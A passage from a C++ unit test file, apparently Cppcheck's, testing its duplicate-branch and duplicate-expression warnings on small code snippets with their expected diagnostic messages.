j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 